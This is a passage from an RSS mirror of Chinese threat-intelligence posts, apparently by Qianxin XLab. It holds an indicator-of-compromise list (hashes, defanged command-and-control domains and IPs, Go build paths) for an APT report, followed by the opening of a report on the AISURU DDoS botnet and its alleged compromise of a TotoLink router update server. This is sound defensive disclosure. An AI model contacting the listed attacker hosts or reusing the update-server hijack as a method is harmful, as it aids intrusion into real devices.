UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">IoC</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-top: 1.5rem !important;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">Samples：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">dc64c34ba92375f8dc8ae8cf90a1f535a0aa5a29fcf965af5ad4982cd16e9d71</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">8f8da8861c368e74b9b5c1c59e64ef00690c5eff4a95e1b4fcf386973895bef1</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">662890bb5baba4a7a9ba718bdedd6991fbf9867c83e676172f5527617e05cafa</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">264d88624ec527458d4734eff6f1e534fcacb77e5616ae61abed94a941389232</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">56260e90bba2c50af7c6d82e8656224ece23445f1d76e87a97c938ad9883005f</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">499f16ed2def90b3d4c0de5ca22d8c8080c26a1a405b4078e262a0a34bcb1e31</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">10b54abba525686869c9da223250f70270a742b1a056424c943cfc438c40cc50</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ece1620e218f2c8b68312c874697c183f400c72a42855d885fc00865e0ccc1a1</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ab85924ba95692995ac622172ed7f2ebc1997450d86f5245b03491422be2f3d6</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">cf39bb998db59d3db92114d2235770a4a6c9cbf6354462cfedd1df09e60fe007</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Domain：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">modindia[.]serveminecraft.net</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">modgovindia[.]space</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">seemysitelive[.]store</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">solarwindturbine[.]site</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">sinjita[.]store</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">sinjita[.]space</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">seeconnectionalive[.]website</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">windturbine[.]website </span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">kavach[.]space</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">zahcomputers.pk[.]modpersonnel.support</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">discoverlive[.]site</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">cloudstore[.]cam</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">IP：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.54[.]122	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.54[.]62	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.54[.]28	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.53[.]179	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.155.53[.]204	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">45.141.58[.]199	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">101.99.94[.]109	Bulgaria|Sofia-Capital|Sofia	AS45839|Shinjiru Technology Sdn Bhd</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">164.215.103[.]55	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">161.97.82[.]97	France|Grand Est|Lauterbourg	AS51167|Contabo GmbH</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">5.178.0[.]29	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Golang path：</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newlinuxblkul/client/main_obfuscated.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/client/obfuscated_client.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newblkul/client/client.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newblkul/client/client_obfuscated.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go</span></span></code></pre><p style="line-height: 1em;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">原文地址如下或者点击阅读原文即可跳转：</span></span></span></span></p><p style="line-height: 1em;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><a href="https://blog.xlab.qianxin.com/apt-stealthserver-cn/" target="_blank">https://blog.xlab.qianxin.com/apt-stealthserver-cn/</a></span></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/apt-stealthserver-cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e0cfd49a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484146%26idx%3D1%26sn%3De369696c02445951e6cbe6ad258327e4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Oct 2025 10:54:00 +0800</pubDate>
    </item>
    <item>
      <title>史上最强？揭秘11.5T级超大规模僵尸网络AISURU的内幕</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484123&amp;idx=1&amp;sn=eee0ec330a6b4178a62cd9fdb78b148a</link>
      <description>概述2025年以来，全球DDoS攻击的带宽峰值不断刷新历史纪录，从年初的3.12 Tbps一路飙升至近日惊人的</description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-09-15 12:45</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=19d69a73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIRNKZIAib0gxjLk2VX1ic75Khg75CDQGamFuyic60SckYVv5zNOoWK1Myg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">概述</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2025年以来，全球DDoS攻击的带宽峰值不断刷新历史纪录，从年初的3.12 Tbps一路飙升至近日惊人的11.5 Tbps。在多起具有高影响力或打破流量纪录的攻击事件中，我们均监测到一个名为AISURU的僵尸网络在幕后频繁活动。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-pm-slice="1 1 [&#34;node&#34;,{&#34;tagName&#34;:&#34;figure&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;figcaption&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 17px;font-weight: bold;">Cloudflare报告11.5T攻击事件:</span></span></p><figure><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000449" alt="Cloudflare 11.5T ddos event" class="rich_pages wxw-img" data-ratio="0.5231481481481481" data-type="jpeg" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2caae33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIG7UIaXycnfpicChgP8fuicAodVXicgqCcOPcRBuMuyQ76wib4jaU58v9Cw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">                                      </span></span></figcaption></figure><figure><figcaption><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" data-pm-slice="1 1 [&#34;node&#34;,{&#34;tagName&#34;:&#34;figure&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;figcaption&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 17px;font-weight: bold;">XLAB攻击事件监控数据:</span></span></figcaption></figure><figure><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000446" alt="aisuru_attack" class="rich_pages wxw-img" data-ratio="0.18425925925925926" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc091f7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIGHianUOlEdiahLu8hoVCa9SfFVWU7Nlh21pclqsWiaJn4LT9nwCQIyQSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 12px;">                                          </span></span></figcaption></figure><figure><figcaption></figcaption></figure><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">AISURU僵尸网络最初于2024年8月由XLab首次披露，曾参与针对《黑神话：悟空》发行平台的DDoS攻击。自今年3月以来，XLab大网威胁监测平台持续捕获到该僵尸网络的新样本。多方信息显示，其背后团伙在4月涉嫌入侵某品牌路由器固件升级服务器，通过下发恶意脚本进一步扩展僵尸网络规模，当前节点数量据称已达30万。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">更值得警惕的是，部分AISURU样本中嵌入的“彩蛋”信息已明显超出纯粹的攻击意图，转而试图传递特定意识形态内容。基于这一严峻态势，我们决定撰写本报告，向安全社区公开相关研究成果，呼吁各方携手应对，共同打击这一愈发猖獗的网络犯罪活动。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">匿名消息源 &amp; XLab视野</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">由于XLab长期深耕DDoS攻击这一领域，并持续发布可靠且独具深度的分析报告，这为我们不仅在防御者群体中、也在攻击者圈内积累了良好的声誉。近日，针对AISURU/ AIRASHI这一僵尸网络，有知情的匿名消息源主动向我们提供了相关情报，希望能像此前打击Fodcha僵尸网络一样，彻底瓦解AISURU。这一线索让我们终于有机会走近AISURU背后的团伙，揭开僵尸网络的运作内幕。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000447" alt="aisuru_agreement.png" class="rich_pages wxw-img" data-ratio="0.29767441860465116" data-type="png" data-w="860" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7aef3528&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIhaIhicEg1paLYMeu077658pqicl4uVYtSHF0A4xNfdeAdOY974C4Rb7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">匿名消息源 </span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">据匿名消息源称：AISURU团伙有3个关键人物，代号分别为Snow, Tom, Forky。2022年，Forky认识了当时尚在微末的Snow和Tom，经过catddos僵尸网络等几次愉快的合作之后，三人一拍即合，决定成立现在的AISURU团队。</span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Snow：负责僵尸网络的开发</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Tom：负责漏洞，包括0day发现，Nday整合</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Forky：负责僵尸网络的销售</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2025年4月，Tom成功入侵totolink的一台路由升级服务器，将固件升级的url设定为下载执行恶意脚本。这意味着每台执行升级操作的totolink路由器，都有可能感染AISURU僵尸网络。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000448" alt="aisuru_totoupdate.png" class="rich_pages wxw-img" data-ratio="0.08333333333333333" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 